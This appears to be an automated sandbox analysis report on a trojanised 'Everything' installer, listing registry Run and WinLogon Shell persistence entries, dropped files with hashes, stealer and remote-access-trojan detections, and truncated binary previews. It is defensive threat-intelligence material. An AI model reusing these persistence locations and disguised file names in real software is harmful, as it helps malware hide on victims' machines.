17:12:25	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run Everything "C:\Program Files\Everything\Everything.exe" -startup
17:12:37	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy "C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
17:12:50	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run sihost "C:\Windows\apppatch\CustomSDB\sihost.exe"
17:13:03	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Recovery\RuntimeBroker.exe"
17:13:13	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run containerwebruntime "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe"
17:13:29	Autostart	Run: WinLogon Shell "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
17:13:38	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
17:13:46	Autostart	Run: WinLogon Shell "C:\Windows\apppatch\CustomSDB\sihost.exe"
17:13:54	Autostart	Run: WinLogon Shell "C:\Recovery\RuntimeBroker.exe"
17:14:03	Autostart	Run: WinLogon Shell "C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
17:14:11	Autostart	Run: WinLogon Shell "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe"
17:14:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy "C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
17:14:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sihost "C:\Windows\apppatch\CustomSDB\sihost.exe"
17:14:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Recovery\RuntimeBroker.exe"
17:14:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run containerwebruntime "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe"
17:14:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run KocFkUIHAfhPoyuBQDEUMiWWSPCixy "C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1168
Entropy (8bit):	4.448520842480604
Encrypted:	false
SSDEEP:	24:mZxT0uZhNB+h9PNnqNdt4+lEbNFjMyi07:yuulB+hnqTSfbNtme
MD5:	B5189FB271BE514BEC128E0D0809C04E
SHA1:	5DD625D27ED30FCA234EC097AD66F6C13A7EDCBE
SHA-256:	E1984BA1E3FF8B071F7A320A6F1F18E1D5F4F337D31DC30D5BDFB021DF39060F
SHA-512:	F0FCB8F97279579BEB59F58EA89527EE0D86A64C9DE28300F14460BEC6C32DDA72F0E6466573B6654A1E992421D6FE81AE7CCE50F27059F54CF9FDCA6953602E
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................D...<...............0...........D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...8.....I.n.t.e.r.n.a.l.N.a.m.e...m.s.e.d.g.e...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...@.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.s.e.d.g.e...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <security>.. <requestedPrivileges xmlns="urn:schemas-micro

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.925840861116531
Encrypted:	false
SSDEEP:	48:6cmNtWxZ8RxeOAkFJOcV4MKe28dR6lfvqBHnuulB+hnqXSfbNtm:2pxvxVx9xYvkZTkZzNt
MD5:	39BAA77C566C3B3FFB11A6EA268879C2
SHA1:	0CD291E68183743ADC0B1A9752191B7F653F4EA3
SHA-256:	9645DEBBEB7E0157307E5FF76A2AD261A0C1F4310C3AB365A69E8AFEFF95FEE8
SHA-512:	8DBB1AD0C8016F7906884A6C7D996A139B9599FC957536BCFEC00E5701CDBBD75A5B129A7D540EDF284FB3E50460E945DDA5CC11ED8569D0E4ECA65B4B66C1EB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....~g.............................'... ...@....@.. ....................................@.................................d'..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..<.............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings............#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\Program Files (x86)\Windows NT\0addff5cf70349

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	ASCII text, with very long lines (610), with no line terminators
Category:	dropped
Size (bytes):	610
Entropy (8bit):	5.869480860892324
Encrypted:	false
SSDEEP:	12:axCik7OJB1caL9Ru2TKpkUV/+YzRCsbkR23OUqniYYYwDqA:KrxcaL9RvTckUVmYl1bzunu5
MD5:	EC6FE0B161EBA8D4F3172155DAC478F8
SHA1:	3EFD2495DA01C99832DFAD1A70C32FD78CD556F4
SHA-256:	3AAD1DB624B67C363721AE4AC9606BFCA1867C934D9A9802207F14B51DD4D89D
SHA-512:	9AA424DF5270DCE3D90D41400D195A8450DDD1CD43DC441698265829E6AA8ABBBA32FB6A052A01B8FFF58CED0A56D9BC8BEBC98A8011AD17AF77039058658395
Malicious:	false
Reputation:	unknown
Preview:	NKaqjRKm90hUDkM9Arhg1MS6duFr9fHXhKozL9IKDKEBzqhWZIShjQtA2dMyMcndsJw26XxBjXcrIQHwMtR1NkyRan7swT8lhlTp4oaCUQ8LxC2lValcKwPHUecSZEPPZ1Jg7c1iSPg6mmeXvWXVsfavVLUaMHnQBtw52Vo2iDJ5PTfs9EgCq3h3bYLvHbWLlQ42zjeasfxoVefBpmaHlkjHM3deJ2vGr8T9Ym2akGULG2i72JFfBOkBqxq6FAQztq6WKfnDt9hePXATUglAxQFcYSSl66Vj0eca6LwXgCvBrFvTwXliYQCdke72NBHxn7ou5kXJuOdueEuTg8ziUxLkc8zbO3Jf58XubAYLAcxJwS9gtoWOMic0vES6u541E8zgqA1fkni29BxJ9Tsjh5SWfh8XrbbEh6Fycczsw1njAk0uQJ7aMVUJpcAJBexILdUD69rgeAwqRtW5qOGieA2Mm5IAcqqSDfXhPxxRba6Min16GEcxXOnLkHaA0qDxTemwVzp2azGEDqo8EL3XN35z1L6HXwavWJ2DBElRYjWiHjI4dc5pxqjZix4J3ifnYVr4xk69jm8ohXrSDBo41v8qjdfOJbY0Es

C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2025984
Entropy (8bit):	7.5739640210308465
Encrypted:	false
SSDEEP:	49152:xq9/4rTuPInOgODSegbQddnpKSVVvncFn8:xGPIr1UDhv
MD5:	77967721CE1C8B3F0EB800BD33527897
SHA1:	6CACE6DB7C38EC0F438B9D7A2A323A90E703A904
SHA-256:	524FDB6F99BA45BA54D3445BFFB08D32F63E0642516DA16D4B31B8BA22325BD7
SHA-512:	5C0C90952462704C879125EBF9102796608DD7D8722F84183706BCB4748057ED23894E00F1D6B078AB8D8E7089B818CF9FDE7090302E83B5D0431418EC833165
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?.qg................................. ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H.......L...\|..............7............................................0..........(.... ........8........E....)...=..........8$...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{....:....& ....8........0.......... ........8........E........f...1...v...Z...8........~....(T...~....(X... ....?>... ....8....~....:... ....~....{....:....& ....8....r...ps....z...... ....8q...~....(L... .... .... ....s....~....(P....... ....~....{....:1...& ....8&.....(.

C:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	4.450344947631575
Encrypted:	false
SSDEEP:	24:WpxjkuZhNUGQBXPNnqNdt4+lEbNFjMyi07:yuulUGQBFqTSfbNtme
MD5:	C995DF11577A12CD2D5381BE331D8B25
SHA1:	47BA90C29B3E22DF9C3F89D5BC71C11DFBE8DD95
SHA-256:	23854C88E9276185040FF39939D2200027963DDB097EB2F54EA861005A9D240B
SHA-512:	2B6F4B29B89332ECE46C1496DD5259CD1243D25CC82BFCF1B51DB1AA3C228DD47BFFC8ED89E85115E9BF3B19EE38EB916E7A8BD0094E6A24FF72603395E136F8
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................T...<...............0...........T.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...@.....I.n.t.e.r.n.a.l.N.a.m.e...E.v.e.r.y.t.h.i.n.g...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...H.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...E.v.e.r.y.t.h.i.n.g...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <security>.. <requestedPrivileges xmlns="u

C:\Program Files\Everything\Changes.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19402
Entropy (8bit):	4.6448111269020655
Encrypted:	false
SSDEEP:	384:Z2dVpOQCtRjkp+cF1W2WLg4xGJ4UytZpjMUFQQ5NverB35+:WVpO5FkocF5V48J4UytZpj1FPBkB35+
MD5:	1EBB92AC516DB5077A0C851565B7A2CF
SHA1:	9ADABFBB11B070169429FD43A250285EE8881213
SHA-256:	E64B60048B375F0C7D4C1FB4329957A297F2E60C306EF9C380175EA7A42223D6
SHA-512:	3FBA14D13A602937B8600C7D5CC8011F7369857BE288510B142573E411B2296CDB3CE58BEAFDF268D04AA1C5130503A63BA38F87239FC7B0BE2E0170BDFC86DE
Malicious:	false
Reputation:	unknown
Preview:	Wednesday, 10 May 2023: Version 1.4.1.1023...fixed a security issue with the HTTP server....fixed an issue with empty EFU items.....Monday, 10 October 2022: Version 1.4.1.1022...fixed a crash when loading a preview failed.....Monday, 3 October 2022: Version 1.4.1.1021...fixed a security issue with using an insecure http connection to check for updates....fixed an issue with preventing devices from being safely removed.....Thursday, 8 September 2022: Version 1.4.1.1020...updated localization....fixed a security issue with using an insecure http connection to open the download page.....Wednesday, 17 August 2022: Version 1.4.1.1018...fixed an issue with the MSI installer and removing previous versions.....Friday, 20 May 2022: Version 1.4.1.1017...updated localization....fixed an issue with incrementing search history count when opening a bookmark.....Friday, 17 December 2021: Version 1.4.1.1015...fixed an encoding issue with translations.....Thursday, 16 December 2021: Version 1.4.1.1014.

C:\Program Files\Everything\Everything.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.913938333713713
Encrypted:	false
SSDEEP:	48:6q2LtBRYo8sau6FJ3ecV4MKe2ud5g6l2vqBHzuulUGQBFqXSfbNtm:SyVx9mrvkFzQdzNt
MD5:	0E5995C0475E4E57F7A6B3FA6E790ABD
SHA1:	5804E9C22581865D81B262EF0A6D198168F551D9
SHA-256:	3B9ED4FC358220EF4376A5A018B5B6AC5EB92F424C6FBCDE2246B7A0E0F0C240
SHA-512:	BE94AAE7432231E57A96963C3494935CD2FC47E47FC7EAC3B89C487A189689505DD562DE69C720CDCC39567F993B96EEB2E4DF3B56F08BC8BF6E88098D1FF91B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....~g.............................'... ...@....@.. ....................................@.................................H'..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!.. .............................................................(.....0..!.......r...pr_..p.{....(....(....&..&......................0..........rc..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings.... .......#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\Program Files\Everything\Everything.exe.exe (copy)

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.913938333713713
Encrypted:	false
SSDEEP:	48:6q2LtBRYo8sau6FJ3ecV4MKe2ud5g6l2vqBHzuulUGQBFqXSfbNtm:SyVx9mrvkFzQdzNt
MD5:	0E5995C0475E4E57F7A6B3FA6E790ABD
SHA1:	5804E9C22581865D81B262EF0A6D198168F551D9
SHA-256:	3B9ED4FC358220EF4376A5A018B5B6AC5EB92F424C6FBCDE2246B7A0E0F0C240
SHA-512:	BE94AAE7432231E57A96963C3494935CD2FC47E47FC7EAC3B89C487A189689505DD562DE69C720CDCC39567F993B96EEB2E4DF3B56F08BC8BF6E88098D1FF91B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....~g.............................'... ...@....@.. ....................................@.................................H'..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!.. .............................................................(.....0..!.......r...pr_..p.{....(....(....&..&......................0..........rc..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings.... .......#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\Program Files\Everything\Everything.ini (copy)

Download File

Process:	C:\Program Files\Everything\Everything.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	215
Entropy (8bit):	4.8351120181527865
Encrypted:	false
SSDEEP:	6:a1He3YP00iIHlCrev7AU5c2LHd7Mv6BJ3mYlUDJZ+AmMy:xoflCrDmc2xMv63rYA
MD5:	B2B308D8C164F75BC11BCCF7BAF3DF67
SHA1:	6F1E5561268B2DB5B46BB6F738C0F7A637FD6B6D
SHA-256:	F0969F438D2869641D8F76D5B9FD2B82C7232134A90972E96ABB3783D1E2FBE5
SHA-512:	5CB56D715D35A33E5BBC7E7DEB43E4F143E4193AE59282892FE72B82C66A21A62CEC85222A9879D5126479A59B9A5E715568F4BB62040A4C03B706F1EBDE9659
Malicious:	false
Reputation:	unknown
Preview:	; Please make sure Everything is not running before modifying this file...[Everything]..; settings stored in %APPDATA%\Everything\Everything.ini..app_data=1..run_as_admin=0..allow_http_server=1..allow_etp_server=1..

C:\Program Files\Everything\Everything.ini.tmp

Download File

Process:	C:\Program Files\Everything\Everything.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	215
Entropy (8bit):	4.8351120181527865
Encrypted:	false
SSDEEP:	6:a1He3YP00iIHlCrev7AU5c2LHd7Mv6BJ3mYlUDJZ+AmMy:xoflCrDmc2xMv63rYA
MD5:	B2B308D8C164F75BC11BCCF7BAF3DF67
SHA1:	6F1E5561268B2DB5B46BB6F738C0F7A637FD6B6D
SHA-256:	F0969F438D2869641D8F76D5B9FD2B82C7232134A90972E96ABB3783D1E2FBE5
SHA-512:	5CB56D715D35A33E5BBC7E7DEB43E4F143E4193AE59282892FE72B82C66A21A62CEC85222A9879D5126479A59B9A5E715568F4BB62040A4C03B706F1EBDE9659
Malicious:	false
Reputation:	unknown
Preview:	; Please make sure Everything is not running before modifying this file...[Everything]..; settings stored in %APPDATA%\Everything\Everything.ini..app_data=1..run_as_admin=0..allow_http_server=1..allow_etp_server=1..

C:\Program Files\Everything\Everything.lng

Download File

Process:	C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe
File Type:	QuArk archive data
Category:	dropped
Size (bytes):	934469
Entropy (8bit):	7.985150006883096
Encrypted:	false
SSDEEP:	24576:9Uj10cDM1+8NnWk1Gmdo3eZWDmehoenMUjV7KDvl0CJ2G:YycDMrf1seuhoeMQVuDvlTJL
MD5:	BA118BDF7118802BEEA188727B155D5F
SHA1:	20FE923EC91D13F03BDB171DF2FE54772F86EBBA
SHA-256:	270C2DBD55642543479C7E7E62F99EC11BBC65496010B1354A2BE9482269D471
SHA-512:	01D8DD2BF9AA251512B6B9B47E9D966B7EDA5F76302E6441C5E7110FF37B4BE325A4F8096DF26A140C67BD740DCD720BC4E9356CCB95703AD63FE9FDBBB0C41F
Malicious:	false
Reputation:	unknown
Preview:	7.......BZh91AY&SY.eg...........~..?{.....t.........Y....X.@..scu....H......P..h4. ........4...h.....@..m ....#FF!...4.......A.M..........4.......jm&M&.&....i.. ..L.LO$..0... .&!.#..4.2d.&L...0..h... ).mF.F.4..P.=@i..4..=A...............44.=A...@f4.!.'.6..!.Ex.Q.....J..B....)..!.<.T.rd.....u..HlI2.1.....@d.d,..2..R...(.....n1.._x....... ...#E.Y..>.o,..~F....^.D.dk. ......H...$...$....]...F.....4....BiCr... ._i...<.NQ....].L.#.;...;E...;...LE....Y........5.K.r.... ,..\|.J0.....6....#.DfBV....j...#..@}.....Ze]..!.xQ.T....B........i..6M...M.Eq"5.w.h.n..8...+.{.....e`.....;.p5..=j]o.`.\|IC....QXUp......}....1..T.>A)......F...Y8..d$....R.-m.?..$DL.P..0..r.....#...#.y..E..F.g&B.3.Xn......h.[%l.n.. C)j.../`T..,..6........N.4QS.5a...Q...r.g..+.......8..B..tSWbSc.S!.......pD..j..80.....(.-....%.$a>..A....?9).jJ.lt.....B.>1..].n...pS...{.f.....p.R.#..H.:.cE.....@a..6!..jz)...O..!..*..$.d....n..A..6.Pdi.>...&<WT..$.i..LI...Tk..'.fp.02A....c.A.'{..`5LY..EN

C:\Program Files\Everything\License.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (754), with CRLF line terminators
Category:	dropped
Size (bytes):	2611
Entropy (8bit):	5.156615896081089
Encrypted:	false
SSDEEP:	48:d6b8JplPvEDTQHcs5ITc3omFpNOOrYJwrYJzSEpPD0432sBp32s3Etm13t6THy:dPsvQHnodOrYJwrYJzSEhn3b3z9ITS
MD5:	2D8C6B891BEA32E7FA64B381CF3064C2
SHA1:	495396D86C96FB1CFDF56CAE7658149138056AA9
SHA-256:	2E017A9C091CF5293E978E796C81025DAB6973AF96CB8ACD56A04EF29703550B
SHA-512:	03A520F4423DA5EF158FB81C32CFFF0DEF361CC4D2CAA9CFA4D306136DA047A80A6931249A6B9C42F9F2656A27391B7921A64E10BAA7468C255BC48BD488A860
Malicious:	false
Reputation:	unknown
Preview:	...Everything....Copyright (c) 2023 voidtools....Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:....The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.....THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR

C:\Program Files\Everything\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	140122
Entropy (8bit):	6.897821587158416
Encrypted:	false
SSDEEP:	3072:lfY/TU9fE9PEtuSWKBAkae31mgjrzElPZdzEB3PlhsEP4f0nlJaosDF:pYa6IZCpe31mgjr4FZuNlhs0lJvsp
MD5:	9619F283A8809F06D9F25818DF792798
SHA1:	C959694843937043B09DA5189D50553AA6C24A6E
SHA-256:	F5E05A0AFC32604D961F2C1B8E500D33018718C3A1D47CBC3F4A98FE0D0E9CA8
SHA-512:	CD84EB50FC8AD582E5B60F1FED3174564EF356673F6DBC71E14A8F07BAA7EFA28EC434AAA9594460364A15C006FA4C56CE27D58D687DCC765FE07D5CAAA3B73E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.................................'Q....@..............................................................(...........................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata... ...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3c961844, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586142687109171
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	52C503D85DC13876ACF5A711310ABEBB
SHA1:	34847AA9C9A0CB9C8E5ED41C6B355E125B4B5D16
SHA-256:	8B33FEA3067E9F6B4242BD491C40C0BBB4A83EFE7CD51A06EE98ADFE041C9AAE
SHA-512:	D45680CF52A23D9A077A918B2EC836C78270015584B24B4266B025671463C9651153CD6E6EA5B595D94A2B8B2B2C1360A4C54C797275782192262387862C4573
Malicious:	false
Reputation:	unknown
Preview:	<..D... ...............X\...;...{......................0.z..........{..;....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................E.z.;....}....................\|<;....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Everything.lnk

Download File

Process:	C:\Program Files\Everything\Everything.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed Jan 8 15:12:21 2025, mtime=Wed Jan 8 15:12:22 2025, atime=Thu May 25 23:40:00 2023, length=2265096, window=hide
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	4.655957763833524
Encrypted:	false
SSDEEP:	12:8muOicJYXuh9/nKmBdpF4G9llSKz/r50GWplv/r5XgIAjAsegbdp3+bdph1NJ9EC:8mBrvBdNZX0vwrAseUd5advJ93qygm
MD5:	76764AA4B06451C6B708DCA572EEE838
SHA1:	194244834945BD615E9A03834230EFD235C67634
SHA-256:	E6A78B4B6E1CDE25562A05E68CD817AEA5BC70085E17D41B824A76F405ACC322
SHA-512:	BEA9CE9A2BE7E44EF87C8CBA16E6F00FB2597E259779288994F688109ECEE8D9515CB65E7D5C72E81D9A378507E9B8D46A9882D80602AAC5A16443DC6E24261D
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ...U....a...`1..a....+.j....."..........................P.O. .:i.....+00.../C:\.....................1.....(Z....PROGRA~1..t......O.I(Z......B...............J......"%.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....(Z....EVERYT~1..F......(Z..(Z................................E.v.e.r.y.t.h.i.n.g.....j.2..."..V.. .EVERYT~1.EXE..N......(Z..(Z................................E.v.e.r.y.t.h.i.n.g...e.x.e.......Y...............-.......X............N.......C:\Program Files\Everything\Everything.exe..6.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.E.v.e.r.y.t.h.i.n.g.\.E.v.e.r.y.t.h.i.n.g...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.E.v.e.r.y.t.h.i.n.g.........&................c^...NI..e.2.......`.......X.......124406...........hT..CrF.f4... .D.2=.b...,...W..hT..CrF.f4... .D.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3

C:\Recovery\9e8d7a4ca61bd9

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	ASCII text, with very long lines (658), with no line terminators
Category:	dropped
Size (bytes):	658
Entropy (8bit):	5.875144354831462
Encrypted:	false
SSDEEP:	12:o8rcDwGqLlyXj5xFZnhdvrOGJvD1ooM0wSfw4kfgoTxNVSSpi7nKL1M0AMkWulsc:cWLlyXtxnTrOOr1AakXVL1M0AlWuldn
MD5:	57FB9C3078E333EFA3CDECFA2F8F4A84
SHA1:	C55B0257B2DBB1595302438C2FD4A0925EBE1575
SHA-256:	2426AC27AD6E2799F57F74A556FEDF8EAD804DB0FC3C5CB19CB0313D328DCF93
SHA-512:	53651CF1D0D31DAC4270D12D8C93C56D91E5807271214E28ADE1155A907F7EE7E149349E12FB871653562C1F812B852206FEEC2F725B4A94F969D37E1898E275
Malicious:	false
Reputation:	unknown
